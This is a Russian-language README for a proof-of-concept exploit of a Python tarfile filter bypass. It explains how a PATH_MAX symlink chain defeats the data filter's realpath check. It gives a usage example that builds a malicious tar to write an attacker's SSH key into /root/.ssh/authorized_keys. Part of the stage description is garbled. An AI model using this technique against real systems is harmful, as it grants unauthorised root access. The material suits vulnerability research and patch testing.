
CVE-2025-4138 - Произвольная запись файлов в Python вне директории извлечения
filter="data" в Python tarfileПроизвольная запись файлов за пределами каталога распаковки через цепочку симлинков PATH_MAX.
Автор: Калеб Браун (Google)
Фильтр данных tarfile в Python проверяет цели симлинков с помощью os.path.realpath(). Когда разрешенный путь превышает PATH_MAX (4096 байт на Linux), realpath() молча прекращает разрешение и добавляет оставшиеся компоненты — включая ../ — как литеральные строки. Фильтр видит безопасный путь; ядро следует реальному обходу.
Эксплойт создает tar-архив из четырех этапов:
a→ddd..., b→ddd...). Это раздувает разрешенный путь до ~3968 байт.../ × 16 в конце цепочки. realpath() переполняется и не может его разрешить. Ядро возвращается к корню распаковки./ и вниз к целевому каталогу.ssh-keygen -t ed25519 -f /tmp/key -N ""
python3 CVE-2025-4138_tarfile_filter_bypass.py \
-o evil.tar \
-t /root/.ssh/authorized_keys \
-p /tmp/key.pub \
-m 0600
| Флаг | Описание |
|---|---|
Только для авторизованного тестирования безопасности и использования в CTF.
-o |
| Путь к выходному tar-файлу |
-t | Абсолютный путь к файлу для записи на цель |
-p | Локальный файл для использования в качестве содержимого полезной нагрузки |
-m | Восьмеричные права доступа к файлу (по умолчанию: 0644) |